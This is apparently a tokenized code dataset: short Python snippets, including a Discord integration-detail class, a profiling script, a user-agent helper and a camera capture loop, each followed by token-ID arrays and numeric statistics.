The role's identifier what the integration uses for subscribers.
subscriber_count : `int`
How many subscribers the integration has. Defaults to `0`.
synced_at : `datetime`
When the integration was last synced.
syncing : `bool`
Whether the integration syncing.
"""
__slots__ = ('expire_behavior', 'expire_grace_period', 'role_id', 'subscriber_count', 'synced_at', 'syncing', )
def __init__(self, data):
"""
Fills up the integration detail from the respective integration's data.
Parameters
----------
data : `dict` of (`str`, `Any`) items
Received integration data.
"""
self.syncing = data.get('syncing', False)
role_id = data.get('role_id', None)
if role_id is None:
role_id = 0
else:
role_id = int(role_id)
self.role_id = role_id
self.expire_behavior = IntegrationExpireBehavior.get(data.get('expire_behavior', 0))
self.expire_grace_period = data.get('expire_grace_period', -1)
try:
synced_at = data['synced_at']
except KeyError:
synced_at = DISCORD_EPOCH_START
else:
synced_at = timestamp_to_datetime(synced_at)
self.synced_at = synced_at
self.subscriber_count = data.get('subscriber_count', 0)
@property
def role(self):
"""
Returns the integration's role.
Returns
-------
role : `None` or ``Role``
"""
role_id = self.role_id
if role_id:
return create_partial_role_from_id(role_id)
@classmethod
def from_role(cls, role):
"""
Creates a partial integration detail with the given role.
Parameters
----------
role : ``Role``
The respective role.
Returns
-------
self : ``IntegrationDetail``
The created integration detail.
"""
self = object.__new__(cls)
self.syncing = False
self.role_id = role.id
self.expire_behavior = IntegrationExpireBehavior.remove_role
self.expire_grace_period = -1
self.synced_at = DISCORD_EPOCH_START
self.subscriber_count = 0
return self
def __repr__(self):
"""Returns the integration detail's representation."""
repr_parts = [
'<', self.__class__.__name__,
]
role_id = self.role_id
if role_id:
try:
role = ROLES[role_id]
except KeyError:
pass
else:
repr_parts.append(' role=')
repr_parts.append(repr(role))
repr_parts.append('>')
return ''.join(repr_parts)
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220,
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220,
220,
220,
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705,
27,
3256,
2116,
13,
834,
4871,
834,
13,
834,
3672,
834,
11,
198,
220,
220,
220,
220,
220,
220,
220,
2361,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
2597,
62,
312,
796,
2116,
13,
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220,
220,
220,
220,
220,
220,
611,
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25,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2597,
796,
371,
3535,
1546,
58,
18090,
62,
312,
60,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
7383,
12331,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1208,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
41575,
62,
42632,
13,
33295,
10786,
2597,
28,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
41575,
62,
42632,
13,
33295,
7,
260,
1050,
7,
18090,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
41575,
62,
42632,
13,
33295,
10786,
29,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
705,
4458,
22179,
7,
260,
1050,
62,
42632,
8,
198
] | 2.112293 | 1,692 |
from controller import Controller
import torch
import cProfile
import pstats
OPTIMIZE = False # True to generate performance reports
if OPTIMIZE:
cProfile.run('main()', "output.dat")
with open("output_time.txt","w") as f:
p = pstats.Stats("output. dat", stream=f)
p.sort_stats("time").print_stats()
with open("output_calls.txt","w") as f:
p = pstats.Stats("output.dat", stream=f)
p.sort_stats("calls").print_stats()
else:
main() | [
6738,
10444,
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62,
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2435,
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4798,
62,
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3419,
628,
220,
220,
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351,
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22915,
62,
66,
5691,
13,
14116,
2430,
86,
4943,
355,
277,
25,
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220,
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220,
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279,
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279,
34242,
13,
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1600,
4269,
28,
69,
8,
198,
220,
220,
220,
220,
220,
220,
220,
279,
13,
30619,
62,
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7203,
66,
5691,
11074,
4798,
62,
34242,
3419,
198,
17772,
25,
198,
220,
220,
220,
1388,
3419
] | 2.526042 | 192 |
from nodeClasses.node import node
| [
6738,
220,
10139,
9487,
274,
13,
17440,
1330,
10139,
220,
198
] | 3.272727 | 11 |
import logging
from bda_core.use_cases.log.log_info import log_info
| [
11748,
18931,
198,
6738,
275,
6814,
62,
7295,
13,
1904,
62,
33964,
13,
6404,
13,
6404,
62,
10951,
1330,
2604,
62,
10951,
628
] | 3 | 23 |
import re
import urllib
import logging
from PyQt5.QtCore import QTimer
from PyQt5.QtWidgets import QShortcut
from PyQt5.QtWebEngineWidgets import QWebEngineView, QWebEngineSettings
from PyQt5.QtWidgets import QSizePolicy
from kiosk_browser import system
def user_agent_with_system(user_agent, system_name, system_version):
"""Inject a specific system into a user agent string"""
pattern = re.compile('(Mozilla/5.0) \(([^\)]*)\)(.*)')
m = pattern.match(user_agent)
if m == None:
return f"{system_name}/{system_version} {user_agent}"
else:
if not m.group(2):
system_detail = f"{system_name} {system_version}"
else:
system_detail = f"{m.group(2)}; {system_name} {system_version}"
return f"{m.group(1)} ({system_detail}){m.group(3)}"
| [
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302,
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220,
285,
796,
3912,
13,
15699,
7,
7220,
62,
25781,
8,
628,
220,
220,
220,
611,
285,
6624,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
277,
1,
90,
10057,
62,
3672,
92,
14,
90,
10057,
62,
9641,
92,
1391,
7220,
62,
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36786,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
285,
13,
8094,
7,
17,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1080,
62,
49170,
796,
277,
1,
90,
10057,
62,
3672,
92,
1391,
10057,
62,
9641,
36786,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1080,
62,
49170,
796,
277,
1,
90,
76,
13,
8094,
7,
17,
8,
19629,
1391,
10057,
62,
3672,
92,
1391,
10057,
62,
9641,
36786,
628,
220,
220,
220,
220,
220,
220,
220,
1441,
277,
1,
90,
76,
13,
8094,
7,
16,
38165,
37913,
10057,
62,
49170,
92,
19953,
76,
13,
8094,
7,
18,
8,
36786,
198
] | 2.410714 | 336 |
#wordCloudGenerator.py
import wordcloud
from matplotlib import pyplot as plot
import tkinter
from tkinter.filedialog import askopenfile
#Reads the selected file and then draws the wordcloud
#Removes punctuation from words
#Calculates how many times each word appears in the text file
if __name__ == "__main__":
main() | [
2,
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12417,
834,
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198,
220,
220,
220,
1388,
3419
] | 3.150943 | 106 |
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright(c) 2018 Senscape Corporation.
# License: Apache 2.0
# Import libs
import cv2, sys, numpy as np
sys.path.append('../../../')
import hsapi as hs
device = hs.GetDevice()
device.OpenDevice()
try:
while(1):
image = device.GetImage(False)
cv2.imshow('image',image)
cv2.waitKey(1)
finally:
device.CloseDevice()
| [
2,
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220,
220,
220,
220,
220,
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3335,
13,
3855,
5159,
7,
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8,
198,
220,
220,
220,
220,
220,
220,
220,
269,
85,
17,
13,
320,
12860,
10786,
9060,
3256,
9060,
8,
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220,
220,
220,
220,
220,
220,
220,
269,
85,
17,
13,
17077,
9218,
7,
16,
8,
198,
69,
3289,
25,
198,
220,
220,
220,
3335,
13,
26125,
24728,
3419,
198
] | 2.272727 | 176 |
#!/usr/bin/env python3
#Copyright (C) 2009-2011 by Benedict Paten ([email protected])
#
#Released under the MIT license, see LICENSE.txt
import unittest
import sys
from sonLib.bioio import TestStatus
from cactus.shared.test import getCactusInputs_random
from cactus.shared.test import getCactusInputs_blanchette
from cactus.shared.test import runWorkflow_multipleExamples
if __name__ == '__main__':
unittest.main()
| [
2,
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660,
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28710,
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1330,
1057,
12468,
11125,
62,
48101,
27730,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
555,
715,
395,
13,
12417,
3419,
198
] | 3 | 143 |
import pyVmomi
from osbot_utils.utils.Misc import wait
from k8_vmware.vsphere.VM_Keystroke import VM_Keystroke
| [
11748,
12972,
53,
76,
12753,
198,
6738,
28686,
13645,
62,
26791,
13,
26791,
13,
44,
2304,
1330,
4043,
198,
198,
6738,
479,
23,
62,
14761,
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13,
85,
2777,
1456,
13,
15996,
62,
9218,
30757,
1330,
16990,
62,
9218,
30757,
628,
628
] | 2.738095 | 42 |
lista = ['oi', 'bem', 'meu']
a, b = lista.index('bem'), lista.index('meu')
lista[b], lista[a] = lista[a], lista[b]
print(lista) | [
4868,
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58,
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60,
198,
4798,
7,
4868,
64,
8
] | 2.015873 | 63 |
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